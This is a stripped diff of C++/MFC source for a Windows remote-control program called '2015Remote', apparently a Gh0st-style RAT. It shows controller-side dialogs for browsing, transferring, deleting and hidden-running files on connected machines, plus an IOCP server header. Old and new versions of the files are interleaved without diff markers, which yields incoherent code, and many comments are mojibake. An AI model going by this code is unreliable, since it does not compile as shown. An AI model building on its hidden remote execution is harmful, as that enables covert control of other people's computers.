|
|
||||||
int GetServerIconIndex(LPCTSTR szVolume, DWORD dwFileAttributes)
|
int m_nNewIconBaseIndex; // <20>¼ӵ<C2BC>ICON
|
||||||
{
|
|
||||||
SHFILEINFO sfi;
|
|
||||||
if (dwFileAttributes == INVALID_FILE_ATTRIBUTES)
|
|
||||||
dwFileAttributes = FILE_ATTRIBUTE_NORMAL;
|
|
||||||
else
|
|
||||||
dwFileAttributes |= FILE_ATTRIBUTE_NORMAL;
|
|
||||||
|
|
||||||
SHGetFileInfo
|
ClientContext* m_pContext;
|
||||||
(
|
CIOCPServer* m_iocpServer;
|
||||||
szVolume,
|
CString m_IPAddress;
|
||||||
dwFileAttributes,
|
|
||||||
&sfi,
|
|
||||||
sizeof(SHFILEINFO),
|
|
||||||
SHGFI_SYSICONINDEX | SHGFI_USEFILEATTRIBUTES
|
|
||||||
);
|
|
||||||
|
|
||||||
return sfi.iIcon;
|
CProgressCtrl* m_ProgressCtrl;
|
||||||
}
|
HCURSOR m_hCursor;
|
||||||
|
CString m_Local_Path;
|
||||||
|
bool FixedUploadDirectory(LPCTSTR lpPathName);
|
||||||
|
void FixedLocalDriveList();
|
||||||
|
void FixedRemoteDriveList();
|
||||||
|
void FixedLocalFileList(CString directory = "");
|
||||||
|
void GetRemoteFileList(CString directory = "");
|
||||||
|
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
|
||||||
|
|
||||||
CString CFileManagerDlg::GetParentDirectory(CString strPath)
|
HICON m_hIcon;
|
||||||
{
|
CStatusBar m_wndStatusBar;
|
||||||
CString strCurrentPath = strPath;
|
CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
||||||
int iIndex = strCurrentPath.ReverseFind('\\');
|
|
||||||
if (iIndex == -1)
|
|
||||||
{
|
|
||||||
return strCurrentPath;
|
|
||||||
}
|
|
||||||
CString strCurrentSubPath = strCurrentPath.Left(iIndex);
|
|
||||||
iIndex = strCurrentSubPath.ReverseFind('\\');
|
|
||||||
if (iIndex == -1)
|
|
||||||
{
|
|
||||||
strCurrentPath = "";
|
|
||||||
return strCurrentPath;
|
|
||||||
}
|
|
||||||
strCurrentPath = strCurrentSubPath.Left(iIndex);
|
|
||||||
|
|
||||||
if(strCurrentPath.Right(1) != "\\")
|
// Dialog Data
|
||||||
strCurrentPath += "\\";
|
//{{AFX_DATA(CFileManagerDlg)
|
||||||
return strCurrentPath;
|
enum { IDD = IDD_FILE };
|
||||||
}
|
CComboBox m_Remote_Directory_ComboBox;
|
||||||
|
CComboBox m_Local_Directory_ComboBox;
|
||||||
|
CListCtrl m_list_remote;
|
||||||
|
CListCtrl m_list_local;
|
||||||
|
//}}AFX_DATA
|
||||||
|
|
||||||
void CFileManagerDlg::EnableControl(BOOL bEnable)
|
|
||||||
{
|
|
||||||
m_ControlList_Client.EnableWindow(bEnable);
|
|
||||||
m_ControlList_Server.EnableWindow(bEnable);
|
|
||||||
m_ComboBox_Server.EnableWindow(bEnable);
|
|
||||||
m_ComboBox_Client.EnableWindow(bEnable);
|
|
||||||
}
|
|
||||||
|
|
||||||
CTrueColorToolBar m_ToolBar_File_Server; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// Overrides
|
||||||
// CTrueColorToolBar m_wndToolBar_Remote;
|
// ClassWizard generated virtual function overrides
|
||||||
|
//{{AFX_VIRTUAL(CFileManagerDlg)
|
||||||
|
public:
|
||||||
|
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
|
||||||
|
virtual void PostNcDestroy();
|
||||||
|
//}}AFX_VIRTUAL
|
||||||
|
|
||||||
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// Implementation
|
||||||
enum { IDD = IDD_DIALOG_FILE_MANAGER };
|
protected:
|
||||||
|
|
||||||
|
// Generated message map functions
|
||||||
|
//{{AFX_MSG(CFileManagerDlg)
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
afx_msg HCURSOR OnQueryDragIcon();
|
||||||
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
|
afx_msg void OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||||
|
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||||
|
afx_msg void OnTimer(UINT nIDEvent);
|
||||||
|
afx_msg void OnClose();
|
||||||
|
afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnLocalPrev();
|
||||||
|
afx_msg void OnRemotePrev();
|
||||||
|
afx_msg void OnLocalView();
|
||||||
|
afx_msg void OnLocalList();
|
||||||
|
afx_msg void OnLocalReport();
|
||||||
|
afx_msg void OnLocalBigicon();
|
||||||
|
afx_msg void OnLocalSmallicon();
|
||||||
|
afx_msg void OnRemoteBigicon();
|
||||||
|
afx_msg void OnRemoteList();
|
||||||
|
afx_msg void OnRemoteReport();
|
||||||
|
afx_msg void OnRemoteSmallicon();
|
||||||
|
afx_msg void OnRemoteView();
|
||||||
|
afx_msg void OnUpdateLocalStop(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateRemoteStop(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateLocalPrev(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateRemotePrev(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateLocalCopy(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateRemoteCopy(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateRemoteDelete(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateRemoteNewfolder(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateLocalDelete(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateLocalNewfolder(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnRemoteCopy();
|
||||||
|
afx_msg void OnLocalCopy();
|
||||||
|
afx_msg void OnLocalDelete();
|
||||||
|
afx_msg void OnRemoteDelete();
|
||||||
|
afx_msg void OnRemoteStop();
|
||||||
|
afx_msg void OnLocalStop();
|
||||||
|
afx_msg void OnLocalNewfolder();
|
||||||
|
afx_msg void OnRemoteNewfolder();
|
||||||
|
afx_msg void OnTransfer();
|
||||||
|
afx_msg void OnRename();
|
||||||
|
afx_msg void OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnDelete();
|
||||||
|
afx_msg void OnNewfolder();
|
||||||
|
afx_msg void OnRefresh();
|
||||||
|
afx_msg void OnLocalOpen();
|
||||||
|
afx_msg void OnRemoteOpenShow();
|
||||||
|
afx_msg void OnRemoteOpenHide();
|
||||||
|
afx_msg void OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
//}}AFX_MSG
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
CListCtrl* m_pDragList; //Which ListCtrl we are dragging FROM
|
||||||
|
CListCtrl* m_pDropList; //Which ListCtrl we are dropping ON
|
||||||
|
BOOL m_bDragging; //T during a drag operation
|
||||||
|
int m_nDragIndex; //Index of selected item in the List we are dragging FROM
|
||||||
|
int m_nDropIndex; //Index at which to drop item in the List we are dropping ON
|
||||||
|
CWnd* m_pDropWnd; //Pointer to window we are dropping on (will be cast to CListCtrl* type)
|
||||||
|
|
||||||
DECLARE_MESSAGE_MAP()
|
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
|
||||||
public:
|
private:
|
||||||
CListCtrl m_ControlList_Client;
|
bool m_bIsUpload; // <20>Ƿ<EFBFBD><C7B7>ǰѱ<C7B0><D1B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD>־<EFBFBD><D6BE><EFBFBD><EFBFBD>λ
|
||||||
CListCtrl m_ControlList_Server;
|
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||||
|
void SendTransferMode();
|
||||||
CImageList* m_ImageList_Large;
|
void SendFileData();
|
||||||
CImageList* m_ImageList_Small;
|
void EndLocalUploadFile();
|
||||||
afx_msg void OnClose();
|
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||||
virtual BOOL OnInitDialog();
|
void EnableControl(BOOL bEnable = TRUE);
|
||||||
afx_msg void OnNMDblclkListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
|
||||||
VOID CFileManagerDlg::FixedServerFileList(CString strDirectory="");
|
|
||||||
VOID CFileManagerDlg::FixedClientFileList(BYTE *szBuffer, ULONG ulLength);
|
|
||||||
|
|
||||||
CString m_Server_File_Path;
|
|
||||||
CString m_Client_File_Path;
|
|
||||||
CComboBox m_ComboBox_Server;
|
|
||||||
CComboBox m_ComboBox_Client;
|
|
||||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
|
||||||
afx_msg void OnCbnSelchangeComboServer();
|
|
||||||
afx_msg void OnCbnDblclkComboServer();
|
|
||||||
CStatic m_FileServerBarPos;
|
|
||||||
CStatic m_FileClientBarPos;
|
|
||||||
|
|
||||||
afx_msg void OnIdtServerPrev();
|
|
||||||
afx_msg void OnIdtServerNewFolder();
|
|
||||||
afx_msg void OnIdtServerDelete();
|
|
||||||
afx_msg void OnIdtServerStop();
|
|
||||||
BOOL m_bIsStop;
|
|
||||||
BOOL CFileManagerDlg::MakeSureDirectoryPathExists(char* szDirectoryFullPath);
|
|
||||||
BOOL CFileManagerDlg::DeleteDirectory(LPCTSTR strDirectoryFullPath) ;
|
|
||||||
afx_msg void OnViewBigIcon();
|
|
||||||
afx_msg void OnViewSmallIcon();
|
|
||||||
afx_msg void OnViewDetail();
|
|
||||||
afx_msg void OnViewList();
|
|
||||||
afx_msg void OnNMDblclkListClient(NMHDR *pNMHDR, LRESULT *pResult);
|
|
||||||
VOID CFileManagerDlg::GetClientFileList(CString strDirectory="");
|
|
||||||
VOID CFileManagerDlg::OnReceiveComplete();
|
|
||||||
afx_msg void OnLvnBegindragListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
|
||||||
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
|
||||||
|
|
||||||
BOOL m_bDragging;
|
|
||||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
|
||||||
VOID CFileManagerDlg::DropItemOnList();
|
|
||||||
|
|
||||||
CListCtrl* m_DragControlList;
|
|
||||||
CListCtrl* m_DropControlList;
|
|
||||||
|
|
||||||
HCURSOR m_hCursor;
|
|
||||||
|
|
||||||
ListTemplate m_Remote_Upload_Job;
|
|
||||||
VOID CFileManagerDlg::OnCopyServerToClient();
|
|
||||||
BOOL CFileManagerDlg::SendToClientJob();
|
|
||||||
|
|
||||||
CString m_strSourFileFullPath;
|
|
||||||
CString m_strDestFileFullPath;
|
|
||||||
__int64 m_OperatingFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ܴ<EFBFBD>С
|
|
||||||
VOID CFileManagerDlg::SendFileData();
|
|
||||||
__int64 m_ulCounter;
|
|
||||||
VOID CFileManagerDlg::EndCopyServerToClient();
|
|
||||||
|
|
||||||
BOOL CFileManagerDlg::FixedServerToClientDirectory(LPCTSTR szDircetoryFullPath) ;
|
|
||||||
|
|
||||||
CStatusBar m_StatusBar; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<D7B4><CCAC>
|
|
||||||
CProgressCtrl* m_ProgressCtrl;
|
|
||||||
|
|
||||||
void CFileManagerDlg::ShowProgress()
|
|
||||||
{
|
|
||||||
if ((int)m_ulCounter == -1)
|
|
||||||
{
|
|
||||||
m_ulCounter = m_OperatingFileLength;
|
|
||||||
}
|
|
||||||
|
|
||||||
int iProgress = (float)(m_ulCounter * 100) / m_OperatingFileLength;
|
|
||||||
m_ProgressCtrl->SetPos(iProgress);
|
|
||||||
|
|
||||||
|
|
||||||
if (m_ulCounter == m_OperatingFileLength)
|
|
||||||
{
|
|
||||||
m_ulCounter = m_OperatingFileLength = 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
VOID CFileManagerDlg::SendTransferMode();
|
|
||||||
|
|
||||||
ULONG m_ulTransferMode;
|
|
||||||
|
|
||||||
afx_msg void OnNMRClickListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
|
||||||
afx_msg void OnOperationServerRun();
|
|
||||||
afx_msg void OnOperationRename();
|
|
||||||
afx_msg void OnLvnEndlabeleditListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
|
||||||
afx_msg void OnNMRClickListClient(NMHDR *pNMHDR, LRESULT *pResult);
|
|
||||||
afx_msg void OnOperationClientShowRun();
|
|
||||||
afx_msg void OnOperationClientHideRun();
|
|
||||||
afx_msg void OnLvnEndlabeleditListClient(NMHDR *pNMHDR, LRESULT *pResult);
|
|
||||||
afx_msg void OnOperationCompress();
|
|
||||||
|
|
||||||
VOID CFileManagerDlg::ServerCompress(ULONG ulType);
|
|
||||||
BOOL CFileManagerDlg::CompressFiles(PCSTR strRARFileFullPath,PSTR strString,ULONG ulType);
|
|
||||||
};
|
};
|
||||||
|
|
||||||
|
//{{AFX_INSERT_LOCATION}}
|
||||||
|
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
|
||||||
|
|
||||||
|
#endif // !defined(AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_)
|
||||||
|
|||||||
@@ -1,41 +1,49 @@
|
|||||||
// FileTransferModeDlg.cpp : ʵ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
// FileTransferModeDlg.cpp : implementation file
|
||||||
//
|
//
|
||||||
|
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
#include "2015Remote.h"
|
#include "2015Remote.h"
|
||||||
#include "FileTransferModeDlg.h"
|
#include "FileTransferModeDlg.h"
|
||||||
#include "afxdialogex.h"
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#define new DEBUG_NEW
|
||||||
|
#undef THIS_FILE
|
||||||
|
static char THIS_FILE[] = __FILE__;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
// CFileTransferModeDlg dialog
|
||||||
|
|
||||||
|
|
||||||
// CFileTransferModeDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent /*=NULL*/)
|
||||||
|
|
||||||
IMPLEMENT_DYNAMIC(CFileTransferModeDlg, CDialog)
|
|
||||||
|
|
||||||
CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent)
|
|
||||||
: CDialog(CFileTransferModeDlg::IDD, pParent)
|
: CDialog(CFileTransferModeDlg::IDD, pParent)
|
||||||
{
|
{
|
||||||
|
//{{AFX_DATA_INIT(CFileTransferModeDlg)
|
||||||
|
// NOTE: the ClassWizard will add member initialization here
|
||||||
|
//}}AFX_DATA_INIT
|
||||||
}
|
}
|
||||||
|
|
||||||
CFileTransferModeDlg::~CFileTransferModeDlg()
|
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX)
|
void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
{
|
{
|
||||||
CDialog::DoDataExchange(pDX);
|
CDialog::DoDataExchange(pDX);
|
||||||
|
//{{AFX_DATA_MAP(CFileTransferModeDlg)
|
||||||
|
// NOTE: the ClassWizard will add DDX and DDV calls here
|
||||||
|
//}}AFX_DATA_MAP
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog)
|
BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog)
|
||||||
ON_CONTROL_RANGE(BN_CLICKED, IDC_OVERWRITE, IDC_JUMP_ALL, OnEndDialog)
|
//{{AFX_MSG_MAP(CFileTransferModeDlg)
|
||||||
|
ON_CONTROL_RANGE(BN_CLICKED, IDC_OVERWRITE, IDC_CANCEL, OnEndDialog)
|
||||||
|
//}}AFX_MSG_MAP
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
// CFileTransferModeDlg <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// CFileTransferModeDlg message handlers
|
||||||
|
|
||||||
|
|
||||||
VOID CFileTransferModeDlg::OnEndDialog(UINT id)
|
void CFileTransferModeDlg::OnEndDialog(UINT id)
|
||||||
{
|
{
|
||||||
// TODO: Add your control notification handler code here
|
// TODO: Add your control notification handler code here
|
||||||
EndDialog(id);
|
EndDialog(id);
|
||||||
@@ -45,16 +53,17 @@ BOOL CFileTransferModeDlg::OnInitDialog()
|
|||||||
{
|
{
|
||||||
CDialog::OnInitDialog();
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
CString strTips;
|
// TODO: Add extra initialization here
|
||||||
strTips.Format("˥<EFBFBD><EFBFBD> զ<><D5A6>.... \" %s \" ", m_strFileName);
|
CString str;
|
||||||
|
str.Format("<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѱ<EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD>%s<><73><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>", m_strFileName);
|
||||||
|
|
||||||
for (int i = 0; i < strTips.GetLength(); i += 120)
|
for (int i = 0; i < str.GetLength(); i += 120)
|
||||||
{
|
{
|
||||||
strTips.Insert(i, "\n");
|
str.Insert(i, "\n");
|
||||||
i += 1;
|
i += 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
SetDlgItemText(IDC_TIP, strTips);
|
SetDlgItemText(IDC_TIPS, str);
|
||||||
return TRUE; // return TRUE unless you set the focus to a control
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
// EXCEPTION: OCX Property Pages should return FALSE
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,25 +1,48 @@
|
|||||||
|
#if !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_)
|
||||||
|
#define AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
#pragma once
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
// FileTransferModeDlg.h : header file
|
||||||
|
//
|
||||||
|
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
// CFileTransferModeDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
|
// CFileTransferModeDlg dialog
|
||||||
|
|
||||||
class CFileTransferModeDlg : public CDialog
|
class CFileTransferModeDlg : public CDialog
|
||||||
{
|
{
|
||||||
DECLARE_DYNAMIC(CFileTransferModeDlg)
|
// Construction
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CFileTransferModeDlg(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
|
||||||
virtual ~CFileTransferModeDlg();
|
|
||||||
|
|
||||||
CString m_strFileName;
|
CString m_strFileName;
|
||||||
|
CFileTransferModeDlg(CWnd* pParent = NULL); // standard constructor
|
||||||
|
|
||||||
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// Dialog Data
|
||||||
enum { IDD = IDD_DIALOG_TRANSMODE };
|
//{{AFX_DATA(CFileTransferModeDlg)
|
||||||
|
enum { IDD = IDD_TRANSFERMODE_DLG };
|
||||||
|
// NOTE: the ClassWizard will add data members here
|
||||||
|
//}}AFX_DATA
|
||||||
|
|
||||||
|
|
||||||
|
// Overrides
|
||||||
|
// ClassWizard generated virtual function overrides
|
||||||
|
//{{AFX_VIRTUAL(CFileTransferModeDlg)
|
||||||
protected:
|
protected:
|
||||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<EFBFBD><EFBFBD>
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
|
||||||
|
//}}AFX_VIRTUAL
|
||||||
|
|
||||||
|
// Implementation
|
||||||
|
protected:
|
||||||
|
|
||||||
|
// Generated message map functions
|
||||||
|
//{{AFX_MSG(CFileTransferModeDlg)
|
||||||
afx_msg void OnEndDialog(UINT id);
|
afx_msg void OnEndDialog(UINT id);
|
||||||
DECLARE_MESSAGE_MAP()
|
|
||||||
public:
|
|
||||||
virtual BOOL OnInitDialog();
|
virtual BOOL OnInitDialog();
|
||||||
|
//}}AFX_MSG
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
};
|
};
|
||||||
|
|
||||||
|
//{{AFX_INSERT_LOCATION}}
|
||||||
|
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
|
||||||
|
|
||||||
|
#endif // !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_)
|
||||||
|
|||||||
@@ -77,29 +77,29 @@ public:
|
|||||||
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
||||||
|
|
||||||
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
||||||
BOOL IOCPServer::InitializeIOCP(VOID);
|
BOOL InitializeIOCP(VOID);
|
||||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
ULONG m_ulWorkThreadCount;
|
ULONG m_ulWorkThreadCount;
|
||||||
VOID IOCPServer::OnAccept();
|
VOID OnAccept();
|
||||||
static CRITICAL_SECTION m_cs;
|
static CRITICAL_SECTION m_cs;
|
||||||
|
|
||||||
/************************************************************************/
|
/************************************************************************/
|
||||||
//<2F><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
|
//<2F><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
|
||||||
ContextObjectList m_ContextConnectionList;
|
ContextObjectList m_ContextConnectionList;
|
||||||
ContextObjectList m_ContextFreePoolList;
|
ContextObjectList m_ContextFreePoolList;
|
||||||
PCONTEXT_OBJECT IOCPServer::AllocateContext();
|
PCONTEXT_OBJECT AllocateContext();
|
||||||
VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
|
VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
|
||||||
VOID IOCPServer::MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
|
VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
|
||||||
|
|
||||||
VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject);
|
VOID PostRecv(CONTEXT_OBJECT* ContextObject);
|
||||||
|
|
||||||
/************************************************************************/
|
/************************************************************************/
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
BOOL HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||||
BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||||
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||||
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , ULONG ulOriginalLength);
|
VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , ULONG ulOriginalLength);
|
||||||
BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
|
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
|
||||||
IOCPServer(void);
|
IOCPServer(void);
|
||||||
~IOCPServer(void);
|
~IOCPServer(void);
|
||||||
|
|
||||||
|
|||||||
227
server/2015Remote/InputDlg.cpp
Normal file
@@ -0,0 +1,227 @@
|
|||||||
|
////////////////////////////////////////////////////////////////
|
||||||
|
// MSDN Magazine -- June 2005
|
||||||
|
// If this code works, it was written by Paul DiLascia.
|
||||||
|
// If not, I don't know who wrote it.
|
||||||
|
// Compiles with Visual Studio .NET 2003 (V7.1) on Windows XP. Tab size=3.
|
||||||
|
//
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "InputDlg.h"
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#define new DEBUG_NEW
|
||||||
|
#endif
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Note: Make sure nBufLen is big enough to hold your entire dialog template!
|
||||||
|
//
|
||||||
|
CDlgTemplateBuilder::CDlgTemplateBuilder(UINT nBufLen)
|
||||||
|
{
|
||||||
|
m_pBuffer = new WORD[nBufLen];
|
||||||
|
m_pNext = m_pBuffer;
|
||||||
|
m_pEndBuf = m_pNext + nBufLen;
|
||||||
|
}
|
||||||
|
|
||||||
|
CDlgTemplateBuilder::~CDlgTemplateBuilder()
|
||||||
|
{
|
||||||
|
delete [] m_pBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Create template (DLGTEMPLATE)
|
||||||
|
//
|
||||||
|
DLGTEMPLATE* CDlgTemplateBuilder::Begin(DWORD dwStyle, const CRect& rc,
|
||||||
|
LPCTSTR text, DWORD dwStyleEx)
|
||||||
|
{
|
||||||
|
ASSERT(m_pBuffer==m_pNext); // call Begin first and only once!
|
||||||
|
|
||||||
|
DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer;
|
||||||
|
hdr->style = dwStyle; // copy style..
|
||||||
|
hdr->dwExtendedStyle = dwStyleEx; // ..and extended, too
|
||||||
|
hdr->cdit = 0; // number of items: zero
|
||||||
|
|
||||||
|
// Set dialog rectangle.
|
||||||
|
CRect rcDlg = rc;
|
||||||
|
hdr->x = (short)rcDlg.left;
|
||||||
|
hdr->y = (short)rcDlg.top;
|
||||||
|
hdr->cx = (short)rcDlg.Width();
|
||||||
|
hdr->cy = (short)rcDlg.Height();
|
||||||
|
|
||||||
|
// Append trailing items: menu, class, caption. I only use caption.
|
||||||
|
m_pNext = (WORD*)(hdr+1);
|
||||||
|
*m_pNext++ = 0; // menu (none)
|
||||||
|
*m_pNext++ = 0; // dialog class (use standard)
|
||||||
|
m_pNext = AddText(m_pNext, text); // append dialog caption
|
||||||
|
|
||||||
|
ASSERT(m_pNext < m_pEndBuf);
|
||||||
|
return hdr;
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Add dialog item (control).
|
||||||
|
//
|
||||||
|
void CDlgTemplateBuilder::AddItemTemplate(WORD wType, DWORD dwStyle,
|
||||||
|
const CRect& rc, WORD nID, DWORD dwStyleEx)
|
||||||
|
{
|
||||||
|
ASSERT(m_pNext < m_pEndBuf);
|
||||||
|
|
||||||
|
// initialize DLGITEMTEMPLATE
|
||||||
|
DLGITEMTEMPLATE& it = *((DLGITEMTEMPLATE*)AlignDWORD(m_pNext));
|
||||||
|
it.style = dwStyle;
|
||||||
|
it.dwExtendedStyle = dwStyleEx;
|
||||||
|
|
||||||
|
CRect rcDlg = rc;
|
||||||
|
it.x = (short)rcDlg.left;
|
||||||
|
it.y = (short)rcDlg.top;
|
||||||
|
it.cx = (short)rcDlg.Width();
|
||||||
|
it.cy = (short)rcDlg.Height();
|
||||||
|
it.id = nID;
|
||||||
|
|
||||||
